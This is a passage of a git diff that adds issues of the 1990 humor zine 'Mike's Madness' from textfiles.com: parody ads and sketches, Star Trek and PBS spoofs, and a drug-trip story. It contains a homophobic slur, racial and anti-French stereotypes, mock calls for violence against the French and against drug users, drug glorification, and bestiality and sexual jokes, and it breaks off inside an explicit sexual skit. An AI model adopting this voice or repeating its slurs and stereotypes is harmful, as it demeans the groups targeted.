mutter an obscenity so foul it'd wilt five minutes off'n hour! + +Jackie: Nibblits! + + +Old Crone 1: BLIMEY! +Old Crone 2: What's that, love? +1: They just said "nibblits"! +2: ON TELLY?! +1: Yes! +2: BLIMEY! FRED! +Fred: What love? +2: They've just said "nibblits" on the TELLY! +Fred: And right during the family hour! +2: Write the paper at once! + + + Dear Sirs! + + They said "nibblits" on the telly! This and the bloody Pole Tax -- +It's the end of civilization! + Mr. I.M. Notalooney + Spamhurst + +P.S. I know there's no such place as Spamhurst; I just use it so you +don't know where I am. + +------------------------------- +ALSO FROM SCHLOCKMEISTER FILMS! +------------------------------- +It's a documentary! +It's a racing film! + +It's . . . + + -- H O T - R O D H I T L E R ! -- + + The FASTEST FUEHRER in RACING! (tm) + +Himmler: ACH! Der Allies are catching up vith der Fuehrer! +Hess: The pride of all Germany iss at sstake! +Goring: Der British are coming along der outside! Only vun lap to go! +Hess: They've passssed him! All is losst! +Goring: NEIN! Ees time for Plan A! +Hess: Call out der Shtukas? +Goring: YA! + +mmmmmmmmmmmmmmMMMMMMMWWWWWWWWWAAAAAAAAAAAAAIIEIEIEIEIEIEIEIEEEEEEE!!!! + + * - Bah-OOM - * + +Goring: Und Deutchland ees der vinner! +Churchill: Nibblits! + + +Old Crone 1: They've said it AGAIN! +Old Crone 2: Nibblits? +1: YES! +2: 'Oo said it!? +1: Winston bleedin' Churchill! +2: Blimey! +1: Blimey! +2: Blimey! +1: Blimey! +2: What we keep sayin' "Blimey!" for? +1: We're British! +2: Oh yes . . . +1: If we were German, we would say something like "Got-en-himmil". +2: If we were German, we'd be vomitting gallons of beer upon the streets of + Nuemburg! But we're British and refrain from such activity. +1: Bloody shame, that. +2: Yeeeeesss . . . +1: We could vomit Port on 10 Downey Street! +2: We'd have to wait 'til Maggie was done . . . +1: Small price to pay, I say! +2: I shall book an agent at once! +[dial]-[dial]-[dial] + + + A L L B R I T I S H T O U R S + + (in association with) + +R O T T E N B A S T A R D T R A V E L + + Presents + ---------------------- + Let's Despoil Britain! + ---------------------- +Ever wanted to wreak general havoc on some of +those boring old landmarks that litter Greater +Britian? Well, what better way to do it than with a +bath of Watney's and semi-digested bangers? Or how +about London Pride and Bloodpie? It's great eating +and senseless vandalism all about the Island as we +go Despoiling Britian! + +Sponsored by the same assholes that came up with +that damn "Chunnel" idea. Nuke them and their +fucking tunnel, I say. Anything that allows huge +smelly masses of froggies to cross the Channel is +inherently wrong and should be stopped by any means +necessary. Thank you. + + +What if disco wasn't really dead? +What if the Pope was a hamster? +What if Jessie Helms had a brain? + +Ever wonder about these possibilities? + +Then read: + +AMAZING (ly boring) SCIENCE FICTION! + +This Month: +----------- +- Futurist Author C. Clarke on Squash in the 22'nd Century! + +- Riding the Bus in 2020! + +- Electrical Fixtures of the Future! + +- Peoria: City of Wonders! + +- John C. Lilly: 1,400 More Obscene Things to do with a Dolphin! + +(includes 3815 color glossy photos, digital CD read-along sound +track, 800 page instruction manual, illustrated anatomically correct +diagrams, 4 tickets to Marine World, an inflatable dolphin and 3 +tabs of acid. Over 21 only, please.) + +It's better than OMNI! + +It's better than SCIENTIFIC AMERICAN! + +It's not better than TEENAGE MASTURBATION WEEKLY! + +It's . . . + +AMAZING (ly boring) SCIENCE FICTION! +(not yet available in New Zealand due to local libel laws) + + +Old Crone 1: Teenage Masturbation Weekly? What sort of magazine is that? + + +---------------------------- +TEENAGE MASTURBATION WEEKLY: Personal Use, Not Abuse +---------------------------- +(contains no animal by-products) + +DON'T POUND THAT PUD! + +DON'T LET JACKING OFF BE A DUD! + + - READ - + +TEENAGE MASTURBATION WEEKLY +--------------------------- +The first magazine for the serious masturbator! We + +* BANG! * + +Thud. + + Dear Sirs, + + The Thatcher Government feels magazines such as Teenage Masturbation +Weekly are most inappropriate unless accompanied by color photos of nude MP's. + + Royally, + + Prince Phillip + +P.S. Get on with Flipper, you bastards! + + +Hey FLIP-PER! FLIP-PER! Help us FLIPPER! We've foolishly gone riding our +windsurfers into the middle of hurricane Camile! FLIP-P.. There he is! +FLIPPER! HEY! Nevermind the other dolphin! HELP US!.. You can get some LATER! +YOU STUPID DOLPHIN! WE'RE GONNA DROWN DAMNIT! GO AHEAD! FUCK YOUR BRAINS +OUT! WE DIE AND THAT'S THE END OF THE FISH! YOU HEAR ME?! NO MORE FISHIES! +Think about THAT you stupid dolphin! No more free meals! Why didn't we get +a dog? Or a horse? Or something that could come outta the water? It's not +like we could take him to Show-and-Tell or anything! DAMNIT FLIPPER! . . . + +And now, Steve's Madness!! (oh gawd..) + +I'm not a loadie +I don't know why +Not 'cause I'm shy +But to comply +With the hungry urge +To slurge +And get eaten +or beaten or cretin +To the pipe with bowls +Packed not with Skoals +But the wonderful weed +Without the seed +Can you dig it +When you take a hit +And your Purple maze +Falls to a Haze +Of camping trips +Of sailing ships +Of Lochness land +of my old man +Of my old man? +I'd Better hide +My pipe + +I drove to San Jose the other day and was surprised to find not me but my +neighbor sitting on the grass eating a fig. I asked him why. He said, +"Because of the wonderfully great Social Standing I achieve. I can +become anything I want just by eating this here fig. Why, my good man, I +can give you a thousand reasons why eating this fig here can help you get +taller, or have longer hair, or to wonder about bicycles. Do bicycles in +fact have any grapefruits hanging from their spokes? Well, one would have +to assume that bicycles with such extremeties would eventually condescend +the moral conduct that everyone well respects and deserves when we trip hard." +I was disconcerted, to say the least. + +There will not be an article for Jews. + +#54 An Article for Jews + An Article for Jews + +Hey there you bloody twit! Can't your read!? This isn't an article for Jews. + +Dump-da-da-da-TA! + +It's + +Bowling for REPO-MEN. + +Announcer: "Yes folks, time now once again for Bowling for Repo-men. +Our three-day returning champion with total winnings of $4500, 2 +repo-men and a button-nose, please welcome Mr. David Beatmymeat from +Pilsbury. Welcome back David." + +David: "Uh, yeah. Hi. My names David and I have a wife and three +kids who work in a button factory." + +Announcer: "Our challenger today on Bowling for Repo-men is a young +securities clerk from Boston. He is currently not employed and is +spending time doing research in the Pacific Ocean studying the +reproductive activity of dust-mites, welcome Bob Grabmedong from Sussex." + +Bob: "I gave at the office." + +Announcer: "Are the two contestants ready?" + +David: (affirmative nod) + +Bob: (raises hand) + +Announcer: (a little annoyed) "uh....Yes, Bob?" + +Bob: "Are we going to have to raise our hand every time we have a question?" + +Announcer: ". . . . . . . I don't think thats going to be necessary Bob. +Since both of you seem ready, let's start _Round One_ of Bowling for +Repo-men!" + +(mild applause from audience) + +(Bob and Dave take their positions in their lanes on the bowling alley.) + +Announcer: "Our first question is to you, David since you are our returning +champion. David, for $30 and a chance at bowling, who once ate three +crates of spam after smoking 5 bowls of marijuana, and threw up into a vat +of living whale sperm leaving Jane Fonda to clean up the mess? + +David: "Uh, was it, ..uh... oh, uh, was it" + +(audience claps) + +Announcer: "Thats exactly right, David! You earn $30 and get to make your +first `bowl' of the evening." + +(David grasps bowling ball and prepares to bowl) + +Announcer: "Now, David, if you can hit that repo man sitting on his +crotch over there by the Space Invaders machine, you get to keep him." + +David: "Yeah! . . ." + +(David appears serious as he bowls the ball across the aisle into the +games section and pegs a big black dude with a .45 hanging off his belt) + +(audience gasps in horror) + +Announcer: "ooooOOOooooo David.. thats not good. You forgot our +original (possibly) useful advice that bowlers should NEVER bowl for +repo men that carry (possibly) harmful projectile weapons. Now David, +you must dodge the repo-man's bullets or lose the $30 and the rest of +your life. Good luck!" + +(announcer takes out a small kazoo from his shirt pocket and hums into it) + +David: "Holy SHIT!" + +(big black dude starts chasin David all over the alley screamin' and +shootin' and a scuffing up the bowling alley. Now we all know that +the management don' like them boys to be a roughin' it and a toughin' +it and generally scuffin' up the bowlin' alley, so we had the big +black dude suspended.) + +Announcer: "And now a word from your sponsor." + +'Toilet paper is fun to wrap yourself in,' and other great tunes can now be +heard on this all expense paid vacation trip to Maui for RENTING OUR CAR. +Yes, rent our car now and you will be eligible. I mean, who wouldn't? +.. Who? .. Never heard of him. You just can't pass up this tremendous offer. + +(quiets down) + +Good evening. Tonight we present a series of films for culture lovers +entitled 'How to eat bologna without getting it in your hair,' Parts One +through Eleven, sponsored by Jim's Rubber Clothing. Part one commences +almost immediately. + +(shuts up .. person eating sandwich appears on screen) + +Wasn't that wonderful. Part two commences almost soon enough, but first, +a word from these messages. + +"Greetings folks. Today is National Diversity week. The day when you can go +outside and eat a frog and not feel guilty about it. The cost is only +$19.95 and you can even pay in stamps. So go on outside today, right now, +this instant, and eat a frog. Completely free, only partially immoral, and +wholly improper! So don't miss this once-in-a-weekend opportunity to eat a +frog, guilt-free, on National Diversity week. Try one, today! (gives big grin) + +----- +(C) 1990 Yucks For You, Inc. diff --git a/textfiles.com/magazines/MIKE/mike21.txt b/textfiles.com/magazines/MIKE/mike21.txt new file mode 100644 index 00000000..c80f11e4 --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike21.txt @@ -0,0 +1,244 @@ +Mike's Madness #21 + +So anyway, I was sittin' in the park the other day, not doin' +anyone any harm, not doin' anyone any good; just lookin' for +wealthy older folks who might be wandering around the park, and +this dude comes up to me. Kinda hippy-lookin' dude. + +"Whazzup?" I asked. + +His glassy, bloodshot eyes stared passed me. The thick, miasmic +smell of bud hung around him, like a curtain of skunk spray. + +"Hey man, you either need a bath, or are carrying some very +potent bud." I said. + +The hippy gave a wisend nod. + +"Whatcher name?" I asked. + +"Phinias Phreak." + +"Yer mom liked Head Comix, huh?" + +"Yup. M'brother's name is Fat Freddy's Cat." + +"Sorry to hear that . . ." + +"M'Daddy had torquette's and named my sister +FUCKFUCKFUCKFUCKFUCKFUCKSHITGODDAMNITSONOFABITCH - FUCKFUCKFUCKFUCKFUCKFUCK." + +"WHAT?!" + +"Yeah, real tragedy in the family. Ma'd call sis in for dinner +and half the neighborhood would call the police sayin' 'There's +that horrible Mrs. Ratpoison yelling obscenities at her daughter +again!'. And Fat Freddy's Cat would start crying because the cops +were gonna haul mom off again . . ." + +"That's truly horrible. So tell me about this bud you have." + +"THIS bud?" he asked as he whipped out this reaking, brownstained +bag of some unidentified black herbage. + +"That's BUD?" I asked in amazement. It could have passed for raw sewage. + +"Take a hit . . ." he challenged, offering me a bowl. + +I met his challenge with bravery and bravado usually reserved for +Marines and other members of the mentally undead, and took a long, +sucking hit. They don't call me the Human Tornado for nothing. +And nothing is what I felt. + +"Sorry, doesn't get me . . ." + +Ba-WHAP! + +". . . Hi. I'm not in right now, but if you'll leave your name +and number, I'll get back to you when I can remember mine. +BEEEEEEEEEEEEP!" + +- THUD - + +And I sat/fell on my ass and my head floated like 8 feet above my +neck. Then this door opened out of the side of this big oak tree +and out strolls God. He walks up to me, looks me right in the eye +and says "Oh yeah? Well I don't believe in YOU either!" and walks +back. --- + +I could tell this was some good bud. + +"This bud," the hippy tells me, "is the end product of 1,200 +years of genetic experiments by Tibetan monks on a local species +of grass that has up to 65% cannabinol in its sap. The plant this +came from was one-hundred years old, over ten feet tall and +35 foot around. It weighed 380 pounds when harvested. The monks +dried it in a special room in the Abbey thats heated by the +fires of hemp plants. After being dried, it was preserved in a +protective cocoon of black Lebanese hash for the 7 month-long +trip to market across the Himalayas." + +"Oh wow . ." I said intelligibly. + +"You look like a man who enjoys good bud, so I'll give you an eighth +for free. If you see me without bud in the future, get me high. Okay?" + +"Oh wow . ." I said intelligibly. + +(I was honestly impressed with this act of charity, but speech or +sentences beyond two words were about as possible to form as a +Tel Aviv chapter of the Klaus Barbie Fan Club.) + +The hippy dropped the eighth in my lap and strolled away. + +So I sat there in Elk Grove Park. Stoned. Stoned stupid. For +three straight hours I sat on a patch of damp grass and grooved +on cars, truant high school students, squirrels (greatly amusing +and not hard to pick off with a well thrown rock), clouds, small +bugs, bigger bugs, BIG bugs, the public toilet, two rednecks +drinking Old Milwaukee (a horrible breech of etiquette and a sure +symptom of Conservativism) and endless other trivia that floated +in and out of my field of view. + +I sat there and smiled an idiot's smile and lived in a fool's +paradise. Then a white car with a green word on its door rolled +into view. I wondered what the word was, but then remembered I +could read. I tried to revive the dormant skill. + +"Sh . . ." the word on the door started. + +"Sh . . ." I said to myself, trying to assemble the rest of the +letters into the rest of the word. + +"Sh . . ." I just couldn't get it. + +Then this big black man in a green suit with a black belt and a +large gun filled my sight like the ogre in that painting by Goya. + +And then I filled in the rest of the word. + +"Shit." + +"Elk Grove Sheriff." the Ogre said. "Why you sittin' here on the +grass grinning like an idiot?" + +The answer to which is, of course, "Because I'm a total fuckin' +loadie and, as is my usual state, I am stoned off my ass." + +But some small section of my brain dedicated to survival didn't +want want the Ogre to find this out, so instead supplied the answer: + +"Dolphins put me here to observe your culture. Pay no mind to me." + +That same section also instantly regretted the results. + +"Oh, think you're a funnyman, huh?" The Ogre asked in an edged +voice. "Well why don't you just supply me with some I.D., or did +the dolphins supply you with any?" + +This answer, unfortunately, kicked in my deep-seated sense of +moral outrage. I was not so outraged that the local Bund member +didn't believe my admittedly lame excuse, but that the peabrained +little Nazi would actually have the gall to suggest that +dolphins were in anyway imperfect. I love dolphins. A LOT. +Probably more than is really healthy. But I haven't been caught +yet and I can hold my breath longer than anyone in Sacramento. +Regardless, I wasn't about to let this feebleminded twit get away +with that little slight against the Cetacean race. + +"Dolphins," I informed the simp, "are far more advanced then the +culture that spawned you and your Nazi-minded, authoritarian, law- +enforcing ilk. Dolphins have lived on this planet in their +current form for five million years! That's roughly 100 times +longer than the entire recorded history of man. During that time, +they never managed to destroy a rain forest, pollute a river, +annihilate another species, kill billions of their kind in +moronic conflicts, or produce Elvis Presley music. That's not to +say they never thought about it. Regardless, they had the +presense of mind to supply me with a perfectly legal California +Driver's License, and here it is." + +The obviously humbled fuzz took my somewhat authentic California +Driver's License and looked it over. + +"So your name's Pink Floyd, huh?" he asked, not quite believing +my carefully constructed ruse, which was a total shame as I had +wasted three crayons faking that I.D. + +"That's Floyd Pink, you simpering subhuman goose-stepping +bastard!" I politely corrected him. + +"One more smart remark and your name's gonna be Blacken Blue!" + +"Watch it! My real name is Dr. Hunter S. Thompson and I'm a +famous Gonzo Journalist and molester of aging porn stars. If you +don't piss off directly, I'm gonna write a 15 page story about +the failure of I.Q. testing in the local militia and mention YOUR +name about a hundred-nineteen times!" + +That little gem of information so impressed the flat-foot that he +grabbed me up off the ground, threw me against the white car with +the green word on its door, and with detectable lack of finesse, +searched me and found the eighth of the Fabled Bud. He opened the +bag and took a HUGE whiff. Then he looked at me. + +"Any reason you're keeping cow shit in a bag?", he asked me. + +"Gotta have something to throw at cops," I told him. + +And that's why I was late for church, Father. + + +----------------- +RIP OFF COMPUTERS +----------------- +Spring 1990 Catalog + +TRS-80 Model III ..................... $900,000 +Osbourne Portable .................... $18,000,000 +TI-99/a .............................. $47,000,000,000 +Commodore Pet ........................ $732,000,000 +Apple II GS .......................... $1.75 (after the Crapple + "A Good Reaming Never + Hurt Anyone, Just Ask + Any Faggot" Rebate) + +Y'know when you buy a Crapple Computer, you get some letter like: + +Dear Honored and Esteemed "Computer" Buyer, +Dear Sir/Madam/Both/Other, + +We thank you for buying the amazing Crapple (insert model number +here). We at Crapple stand behind this machine. WAY behind it. +That way when you come looking for us after it fails, we'll have a +good running start. + +As Father Bruce Ritter usedta say, "Bend over." + + With sincere and honest intentions, + + (bah-ha-ha!) + + Martin Borrman + U.S. Rep., Crapple Computers + + (Not THE Martin Borrman) + (Not THE truth) + +----- +Remember: A fox, duct tape and a dirty mind -- instant fun! + +Obnoxious tripe conceived, written and performed by: + +Mike "Who needs women when we got sheep?" Beebe + +(C) 1990 Yucks For You, Inc. + +Comments & Flames to Author: + { ucbvax | uunet }!ucdavis!spked!sactoh0!smb (Mike Beebe) + +Mailing List Requests: smbancroft@ucdavis.edu (Steven Bancroft) + +All Back-issues are available by E-mail request from smbancroft@ucdavis.edu +or by anonymous ftp from bikini.cis.ufl.edu [128.227.224.1] in directory +/pub/mikesmad. diff --git a/textfiles.com/magazines/MIKE/mike22.txt b/textfiles.com/magazines/MIKE/mike22.txt new file mode 100644 index 00000000..030154a9 --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike22.txt @@ -0,0 +1,378 @@ +Mike's Madness #22 + +(Season #3 Premier) + +To: Music Dept., CSUS +From: Germanic Music Research Dept. (Non-Wagner section), U. of Berlin +Re: Mozart's Requiem + +Sirs, + +As is well known, Mozart died before completing the entire score of his +last work, Requiem. Completion of the work was done by Sussmayr in +1793, but there has always been question of how Mozart himself would +have finished the work. Luckily, a copy of Mozart's score was found +recently in our basement that details the completed score. We present +it here in its entirety. + +(NOTE: Apparently, the Requiem was not written for the wife of Count +Walsegg-Stuppach as previously thought, but for one Count Wilhelm the +Bloated (also known as Wilhelm the Stenchmeister) after he was run-down +in the street by Mozart's horse while he was strolling with his wife, +Eva the Obscenely Fat. The couple were well known in Austria for their +ability to break prolonged wind, stink up even the roomiest concert +halls, and consume massive amounts of other people's food. Wilhelm died +in 1792, and not a moment too soon for most people.) + +I. Introitus: + +Oh God, we entrust this poor bastard to you +Because none of us want him hanging here around any longer +Least of which, me, as he has bummed many ducats from my purse +And never paid them back -- the great fucking sot! +Please let him rot in Hell for eternity for this. + +II. Introitus Interruptus + +Oh yes! +OH YES! +OH GOD THIS IS GREAT! +OH YES YES YES YES YES YES!!!!!!!! +MORE! +Ah Ah AH! AH!! AH!!! +YES! YES! I'M GOING TO . . . +COME BACK HERE! +GOTT-EN-HIMMEL! +COME BACK HERE! +I'M NOT DONE YET! +COME -- +Damn. +Fucking sheep . . . + +III. Appologem + +Oh Lord, close the Pearly Gates, +Because here comes a right bastard. +I'm sorry that he's coming your way, +But it can't be helped. +Had he not waddled his fat ass in front of my horse +He might still be with us +And not stinking up Paradise +But he did, +And he isn't, +And he is, +So there. +I'm also sorry about the bit of naughtiness with the Berlin All + Prepubescent Girl's Choir. +I'm also also sorry about carving "Wagner Sucks Shit!" in the fat + backside of that lad from the Vienna Boy's Choir. +I've already apologized to Herr Wagner for this. +Forgive me these trespasses, +But Salieri's done much worse. +Much MUCH worse. +In fact, he's been a total sot. +See to it that he rots in Hell too. + + +Next slime on an almost new Star Trek -- The Next Generation . . . + -------------------------------- + +Wesley tests positive for DRUGS! + +Wesley: I never! + +Picquard: It says here you tested positive for amphetamines, LSD, +cocaine, psilocybin, morphine, barbiturates, bufotoxin, thorazine, +methedrone, ritalin, benzedrine, adrenochrome . . . + +Wesley: But it doesn't say anything about pot! + +Picquard: . . . and POT! So much so, in fact, that three interns were +caught smoking your urine. And they were quite fucked up, according to +Doctor Crusher! + +Wesley: Killer! + +Picquard: You're dismissed from your station! You will either be flushed +into space or sit in the same room with Pat Buchanan while he explains +the positive contributions that Richard Nixon gave to democracy. + +Wes: SHRRRRIIIIEEEEK! SPACE!! SPACE!! FLUSH ME OUT INTO SPACE!!!!!! (wail!) + (blubber!) + +Picquard: Wail? Blubber? + +Wes: WHALE BLUBBER! It'sa JOKE! Don'tcha git it, son?! What are ya, ah +say what are ya, DENSE?! Now where's that cotton-pickin' dog gone to +now? AW-LA-DA-DA-DA-DA-DA-LA-LA AW-DO-DAH! DO-DAW! + +Yes kids -- poor Wesley has fallen victim to drugs and now thinks he's +Foghorn Leghorn. This happens to millions of kids on a daily basis. God +it's horrible! Just look what drugs did to some of these famous people. . . + +W. Churchill -- "Let them say that this, ah say this, was their finest hour! + +J. Kennedy -- "So I say with pride Ich Ien Berlineer. Ahh Do-DAH! Do-DAH!" + +There's thousands more examples like these, but laws pertaining to the +honesty of claims made during a broadcast forbids us from showing them. +So remember kids, if you know someone doing drugs, be it your best +friend, or your parents, or even your grandparents, just put a .45 to +their head and end their miserable existence. + +Thank you + +(cue National Anthem and films of A-10's blowing up tanks) + +This message paid for by the William Bennet/Lyndon LaRuche/Pat-The-Fat- +Fucking-Goose-Stepping-Swine-Buchanan Fund for Drug Education. Helping make +the world safe for right wing, neo-nazi scum for the last 20 years. + +(see if there's any way around that part.) + + +This is PBS -- TV worth watching! + +THAT'S RIGHT! It IS TV worth WATCHING! And how much is it WORTH to YOU?! +Y'know Big Brother ain't coughin' up the bucks for Masterpiece Theater +anymore! We gotta depend on cheapskates like YOU to keep these fine programs +on the air! + +Now we got a favorite from Sesame Street here. It's our old friend Big Bird. +AND I'M GONNA WASTE THE FUCKER IF WE DON'T START GETTING SOME GODDAMN +PLEDGES IN HERE NOW!!! $300 bucks and I let the bird live! Otherwise there's +gonna be brains and feathers everywhere! . . . No takers? BYE-BYE BIRDY! + + [BANG!] + [THUD!] + + Oh look who we have HERE! It's Fred Rogers of Mister Roger's +Neighborhood! HE'S DEAD-FUCKING-MEAT IF I DON'T HEAR A PLEDGE FOR $250! I +don't hear them goddamn PHONES! Can you say EXIT WOUND, Freddy?! I'LL BET +YOU CAN! + + [BANG!] + [THUD!] + + Carl Sagan probably has the best mind in America today. AND IT'S GONNA +BE SPREAD ACROSS THE BACK OF THE STUDIO IF YOU FUCKERS DON'T START FORKIN' +OVER THE CASH! I ain't hearin' the pledges for BILLIONS and BILLIONS, you +assholes! You're goin' on a little journey there Carl . . . + + [BANG!] + [THUD!] + + Probably the best loved actors of the Doctor Who series is Tom Baker. +I'M GONNA SEND THIS FUCKER BACK TO BRITAIN IN A BODY-BAG UNLESS ONE OF YOU +CHINTZY BASTARDS STARTS SHELLING OUT! I don't see that pledge total going up! + +[RIIIIING!] + +Hello? What? A THOUSAND DOLLARS!? Okay, I'll let him live. Thank you for +your pledge, and your $1000 Club membership prize, the lovely box of +thumbtacks, is coming in the mail. + +[CLICK] + +Well, that ends this pledge break. We now return to Reading Rainbow. + + +Now on KVIE Channel 6: + +READING RAINBOW! +---------------- + +With the esteemed Dr. Hunter S. Thompson +(who has promised not to swear) +(much) + + So people ask me, + + "Hey Hunter -- how do ya pick up chicks?" + + By the asshole! + + Listen, I wanna talk about that fat swine, Buchan- WAIT A MINUTE! HEY! +LEGGO! WE HAD AN AGREEMENT!! LEGGO GODDAMNIT! I'M A FAMOUS DOCTOR OF FUCKIN' +JOURNALISM, YOU ACID-CRAZED SACKS OF PUS!!! FUCKING PUBLIC TELEVISION HAS NO +BALLS ANYMORE! COME ON, LEGGO! I BETTER GET A CHECK, YOU BASTARDS! I -- + +[SLAM!] + + +Now on KVIE Channel 6: + +READING RAINBOW! +---------------- + +With the esteemed LeVar Burton +(Who would never even DREAM of saying any of those awful things that nasty +Dr. Thompson said, lest he lose the "Next Generation" gig.) +(much) + + So a friend asks me, + + "Hey Geordy -- how do you pick up space chicks?" + + "Simple Wesley," I said. "By the asshole!" + + I wanna talk about that fat swine, Buchan- GIT OFF ME! HEY! GIMME THE +GODDAMN VISOR BACK! YOU TREACHEROUS BASTARDS! GIMME THE FUCKIN' VISOR! COME +BACK HERE! DATA?! WHERE THE HELL ARE YOU?! Wes? Will? Beverly? ANYBODY?! +HELLLL-LO! Anyone there?! Damn, I feel like Ray Charles . . . + + +Seven Reasons Why You Shouldn't Buy Things From Door-to-Door Salesmen +--------------------------------------------------------------------- +[Knock-Knock] [Knock-Knock] +[click] +[creeeak] + +Old crone: 'ullo? +Salesman: 'ello Graham! I'm a door-to-door salesman. +OC: Go away! +SM: Did you know there are seven reasons you shouldn't buy things from door- + to-door salesmen? +OC: I don't care! +SM: Well these are seven VERY important reasons, Mum. +OC: Shove off! +SM: More than most people realize! +OC: What are these reasons, then? +SM: Well, you have to buy this 'ere book to find out. +OC: 'ere! That's a cheat! I'm not buyin' that! +SM: You'll never know the reasons then . . . +OC: I 'adn't thought of that. Let me 'ear one of them. +SM: Well . . . they might not be British salesmen. They might be French! +OC: THE BASTARDS! +SM: Yus Mum! Boozey Frenchmen wot come across the Channel with their cheese + and wine and froggy ideas about mans' place in the universe, spreadin' + filth and going on and on and on about Marcell Marso and Jock Crewsto and + not really knowing anything about bombing peaceful vessels anchored in + neutral waters . . . +OC: Worse than Communists! +SM: Much worse, Mum! +OC: Worse than Germans? +SM: Not by a fucking longshot. +OC: YOU might be French! +SM: Oui' . . . +OC: WOT!?? +SM: Nothing, Mum. +OC: You just spoke FRENCH! +SM: No no! I'm sure you are mistaken, Madame . . . +OC: YOU DID IT AGAIN! +SM: No such thing . . . +OC: YOU ARE FRENCH! +SM: Ssssssssssh! +OC: GREAT FROGGY ALERT, GIRLS! +The woman downstairs: Give 'im Plan 9, Gladys! +OC: Right-ho! HEAVE! +[picks up hapless froggy and chucks him down 18 flights of stairs.] +OC: TAKE THAT YOU SWINE! +[slams door] + +YES! Another victory over the French! This one was by Mrs. Gunshotwound in +Bournsmouth, but you could be our next home-town hero by flattening +offending froggies whereever they may hide! Here's how you can help! + +REMEMBER: +1) Stay away from Quebec! +2) Avoid wine -- drink plenty of Bass & COs. Pale Ale. +3) Occasional masturbation is not a sign of mental weakness. +4) The French are very dim. Lure them into alleys with stinking hunks of + goat cheese and bludgeon them senseless. +5) Should you encounter an explosives laden froggy, remind him you are not a + Greenpeace vessel and he'll slink away. +6) Never let a frenchy feel your genitals. + +Just remember those simple facts and you'll help keep England forever French +free! + +(Cue: God Save the Queen) +(fade) + +And now on BBC 2: + +The Voice of America News. +------------------------- +Pre-sented this eve-en-ning by the Right Honorable Justice Ken P. Conartist. + +[slightly dotty, over-blown male's voice.): Good evening all you Limeys out +there. This is Mr. Apricot . . . CONARTIST! speaking to you tonight on the +Voice of America. We are here to inform you, the British listener, that all +those lies you hear about America just aren't true. There are many well made +American cars. Reagan did many things RIGHT during his presidency, too! And +gangs of insane youth toting automatic weapons do not roam the streets of +our larger cities randomly shooting people. Much. Furthermore . . . + + [* c-r-a-c-k-! *] + [WAH-BOOOOHMPH! -thud!-] + [* C-R-A-A-A-A-A-A-A-A-A-A-C-K-K-K-K-K-K-K-K-K-K-L-L-L-L-L-E-E-E-E!! *] + +[control room voice]: Oh Christ, what's happened to 'im now? +[floor manager]: Hit by lightening! Kilt 'im dead! +CM: That's THREE in the last bloody week! +FM: What's doin' it, then? + +Announcer: "What's doin' it?", indeed! Why, it's the . . . + +-*- N E W -*- + W R A T H + O' + G O D +Personal Protection Substance + +YES! All the power of Jehovah packed into this tiny 3 ounce can! Yet it can +stop attackers in an instant and it hunts down perverts and gives 'em wot's +comin'! + +[cut to real prim, uptight, stick-up-the-ass type woman holding can out at +arm's length and firing it.] + +[cut to Arab masturbating over a camel (not the cigarette) in the desert. +Lightning zaps up from over the horizon, nails him in the ass and blows him +to hell. Camel chews cud.] + +God: That'a'way, Maggie! Now about getting this Poll Tax thing through . . . + +-*- N E W -*- + W R A T H + O' + G O D + +Stops Attackers, +Kills Perverts. + +What more could a Republican want? + + + +[Two women standing in supermarket aisle.] + +Woman 1: Ya know Butch, I wish I was as smart as Dan Quayle. I mean, he was +just a hometown kid who became Vice President. Not to mention his important +new role as Chief Asteroid Watcher. He's just so smart! + +Woman 2: Well now you can, Bob! With the new Dan Quayle Home Lobotomy Kit, +you can be as smart as our beloved Vice President in a snap. Includes +needles, cutting wire and a 220v "Skull Fuck" brand power drill! Just drill +these 4 small holes, insert the cutting wire with the needle, and PULL! +Walla! That troublesome ol' frontal cortex is gone and you're as bright as +Dan Quayle. Maybe even BRIGHTER! + +Woman 1: I'll get that! + +Announcer: Yes, the Dan Quayle Home Lobotomy Kit is available at finer K- +MARTS and Walco's. + +----- +(C) 1990 Yucks For You, Inc. + +Comments & Flames to Author: + { ucbvax | uunet }!ucdavis!spked!sactoh0!smb (Mike Beebe) + +Mailing List Requests: smbancroft@ucdavis.edu (Steven Bancroft) + +All Back-issues are available by E-mail request from smbancroft@ucdavis.edu +or by anonymous ftp from bikini.cis.ufl.edu [128.227.224.1] in directory +/pub/mikesmad. Many Thanks to Eric Johnson (@ufl.edu) for all his work +in keeping the Madnesses up for ftp. "Thanks Eric!" diff --git a/textfiles.com/magazines/MIKE/mike23.txt b/textfiles.com/magazines/MIKE/mike23.txt new file mode 100644 index 00000000..7e1b0982 --- /dev/null +++ b/textfiles.com/magazines/MIKE/mike23.txt @@ -0,0 +1,419 @@ +Mike's Madness #23 + +This is a test of the Mike's Madness Emergency Alert System (WOMBAT). The +programmers of this network node have created this system in the event that +another Mike's Madness issue is released. + +This is only a test . . . + +[30 seconds of some horrible screeching noise] + +This has been a test of the Mike's Madness Emergency Alert System. Had this +been an acutal Mike's Madness release, the message you just heard would have +been followed by retching, vomitting, swearing, the turning off of computer +terminals and several sickening references to beastiality. + +This concludes this test of the Mike's Madness Emergency Alert System +(PLATYPUS). We now return you to "Star Trek - The Next Generation" + + +Captain's Log, Stardate 4/14/67 - + +While en route to the planet Dung, we have encountered an intergalatic trader +. . . + +Cap't: Open hailing frequencies, Mr. Warped . . . + +Trader [smokin' a massive reefer]: Oh hey man! Dude, you wanna buy some BUD? + +Cap't: Bud? + +Data: Yes Captain - marijuana. Pot. Reefer. Smoke . . . + +Cap't: Thank you, Mr. Data . . . + +Data: . . . Spliff. Rasta. 13. M. Ganja . . . + +Cap't: Not AGAIN!! + +Data: . . . Shit. Weed. Tea. Joint. Kif . . . + +Cap't: Mr. Crusher, in the future you are to refrain from teaching Commander + Data new words! + +Data: . . . Humbolt High. Panama Red. Columbian Gold . . . + +Trader: Yeah, THAT! + +Data: . . . Haze. Northern Lights. Hash Plant . . . + +Cap't: Mr. Data, execute the following instruction: + 10 GOSUB 10. + +Data: Out of Memory Error in 10 [falls off chair like a drunken Australian + politician, as if there is any other kind] + +Cap't: Mr. Trader, we here in the 24'th Century have no need for the plant + you refer to as marijuana. + +Trader: Whyzzat? + +Cap't: Because we get WIRED all day instead! [whips out mirror with a huge + white line, snorts the whole thing.] + +Cap't: All ahead warp factor 2 ga-zillion! Engage! + +[Enterprise zooms off] + +Trader: Fucking crank fiends! + + +And now . . . + +# 32: The Oral Sex +# 32: The Oral Sex + +Woman: (suck suck suck suck) Mmmmmmm... sooo goooood. (lick, suck suck suck) + I looove it in my mouth! Right in my mouth! (lick lick, suck) + +Man: 